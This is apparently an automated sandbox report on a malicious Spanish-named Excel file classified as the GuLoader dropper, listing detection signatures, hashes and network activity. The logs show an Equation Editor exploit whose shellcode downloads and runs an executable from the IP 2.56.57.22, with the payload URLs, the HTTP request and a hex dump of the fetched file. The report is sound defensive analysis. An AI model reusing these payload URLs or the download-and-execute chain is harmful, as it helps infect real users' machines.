Windows Analysis Report
#confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls

Overview

General Information

Sample Name: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls
Analysis ID: 635062
MD5: 3fed4357a9a31f6d784d90e0e2828cef
SHA1: b10fe00a3142c331aa805a78b5e01e9fa73d9c6b
SHA256: bc03e79179795e31ba88934475f0746f25a7382a157ab005a54cae03b83c797d
Tags: xlsx
Infos:

Detection

GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Sigma detected: EQNEDT32.EXE connecting to internet
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Antivirus / Scanner detection for submitted sample
Sigma detected: File Dropped By EQNEDT32EXE
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Yara detected GuLoader
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Machine Learning detection for sample
Shellcode detected
Office equation editor drops PE file
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Office equation editor establishes network connection
Yara signature match
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Downloads executable code via HTTP
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
PE file does not import any functions
Potential document exploit detected (unknown TCP traffic)
PE file contains strange resources
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Office Equation Editor has been started
Binary contains a suspicious time stamp
PE file contains more sections than normal
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 00000004.00000002.1181440399.0000000003F30000.00000040.00001000.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "http://2.56.57.22/yendexoriginwithoutfilter_rctcon218.bin\u000b\u05c8"}
Multi AV Scanner detection for submitted file
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Virustotal: Detection: 54% Perma Link
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Metadefender: Detection: 22% Perma Link
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls ReversingLabs: Detection: 58%
Antivirus / Scanner detection for submitted sample
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Avira: detected
Antivirus detection for URL or domain
Source: http://2.56.57.22/droidttrre.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: http://2.56.57.22/droidttrre.exe Virustotal: Detection: 11% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\droidttrre[1].exe Metadefender: Detection: 31% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\droidttrre[1].exe ReversingLabs: Detection: 38%
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Metadefender: Detection: 31% Perma Link
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe ReversingLabs: Detection: 38%
Machine Learning detection for sample
Source: #confirmaci#U00f3n+y+correcci#U00f3n+de+la+direccion.xls Joe Sandbox ML: detected

Exploits
barindex
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\venxajlddf.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\venxajlddf.exe Jump to behavior
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 2.56.57.22 Port: 80 Jump to behavior
Office Equation Editor has been started
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: H:\n2\3rdparty\FFmpeg\2.8.2\public\src\ffmpeg\libavutil\avutil-54.pdb source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr
Source: Binary string: System.IO.FileSystem.Watcher.ni.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, System.IO.FileSystem.Watcher.dll.4.dr
Source: Binary string: D:\SourceCode\gc3.gpuswitch\production_V4.2\Service\ServiceSDK\Release\GPUSwitchPlugin\ARMOURY CRATE eGPU Product.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr
Source: Binary string: D:\SourceCode\gc3.gpuswitch\production_V4.2\Service\ServiceSDK\Release\GPUSwitchPlugin\ARMOURY CRATE eGPU Product.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr
Source: Binary string: H:\n2\3rdparty\FFmpeg\2.8.2\public\src\ffmpeg\libavutil\avutil-54.pdb source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr
Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.Watcher\net6.0-windows-Release\System.IO.FileSystem.Watcher.pdb source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, System.IO.FileSystem.Watcher.dll.4.dr
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 4_2_00405D74
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_0040699E FindFirstFileW,FindClose, 4_2_0040699E
Source: C:\Users\user\AppData\Roaming\venxajlddf.exe Code function: 4_2_0040290B FindFirstFileW, 4_2_0040290B

Software Vulnerabilities
barindex
Shellcode detected
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D05C4 URLDownloadToFileW, 2_2_036D05C4
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D0557 LoadLibraryW,URLDownloadToFileW,ExitProcess, 2_2_036D0557
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D060F WinExec,ExitProcess, 2_2_036D060F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D0571 URLDownloadToFileW, 2_2_036D0571
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D04D7 LoadLibraryW,URLDownloadToFileW, 2_2_036D04D7
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D062F ExitProcess, 2_2_036D062F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_036D04A2 ExitProcess, 2_2_036D04A2
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 2.56.57.22:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 2.56.57.22:80

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://2.56.57.22/yendexoriginwithoutfilter_rctcon218.bin
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: GBTCLOUDUS GBTCLOUDUS
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 24 May 2022 18:13:44 GMTAccept-Ranges: bytesETag: "abe39719a6fd81:0"Server: Microsoft-IIS/10.0Date: Fri, 27 May 2022 10:02:27 GMTContent-Length: 1449584Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 00 40 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 e0 07 00 00 04 00 00 5b e9 16 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 b0 05 00 68 2d 02 00 00 00 00 00 00 00 00 00 50 ff 15 00 20 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 03 02 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 03 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 68 2d 02 00 00 b0 05 00 00 2e 02 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /droidttrre.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 2.56.57.22Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: EQNEDT32.EXE, 00000002.00000002.975278743.00000000005E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.comz equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.975278743.00000000005E1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/droidttrre.exe
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/droidttrre.exeP
Source: EQNEDT32.EXE, 00000002.00000002.975505837.00000000036D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/droidttrre.exej
Source: EQNEDT32.EXE, 00000002.00000002.975219877.000000000054F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/droidttrre.exeooC:
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: folder-publicshare.png.4.dr String found in binary or memory: http://creativecommons.org/licenses/by-sa/4.0/
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://crl.globalsign.com/gsextendcodesignsha2g3.crl0
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://crl.globalsign.com/root-r3.crl0b
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: venxajlddf.exe, 00000004.00000000.963495241.000000000040A000.00000008.00000001.01000000.00000004.sdmp, venxajlddf.exe, 00000004.00000002.1180466472.000000000040A000.00000004.00000001.01000000.00000004.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://ocsp.digicert.com0O
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://ocsp.globalsign.com/rootr103
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://ocsp.thawte.com0
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://ocsp2.globalsign.com/gsextendcodesignsha2g30U
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://s2.symcb.com0
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr String found in binary or memory: http://secure.globalsign.com/cacert/gsextendcodesignsha2g3ocsp.crt0
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://subca.ocsp-certum.com01
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://subca.ocsp-certum.com02
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://subca.ocsp-certum.com05
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://sv.symcd.com0&
Source: avutil-54.dll.4.dr String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, lang-1045.dll.4.dr String found in binary or memory: http://www.avast.com0/
Source: EQNEDT32.EXE, 00000002.00000002.975232568.000000000056C000.00000004.00000020.00020000.00000000.sdmp, droidttrre[1].exe.2.dr, venxajlddf.exe.2.dr String found in binary or memory: http://www.certum.pl/CPS0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://www.nero.com
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://www.symauth.com/cps0(
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: http://www.symauth.com/rpa00
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: https://d.symcb.com/cps0%
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, avutil-54.dll.4.dr String found in binary or memory: https://d.symcb.com/rpa0
Source: venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, System.IO.FileSystem.Watcher.dll.4.dr String found in binary or memory: https://github.com/dotnet/runtime
Source: venxajlddf.exe, 00000004.00000002.1181027714.0000000002B23000.00000004.00000800.00020000.00000000.sdmp, venxajlddf.exe, 00000004.00000002.1180707853.0000000002870000.00000004.00000800.00020000.00000000.sdmp, ARMOURY CRATE eGPU Product.exe.4.dr, lang-1045.dll.4.dr String found in binary or memory: https://www.digicert.com/CPS0
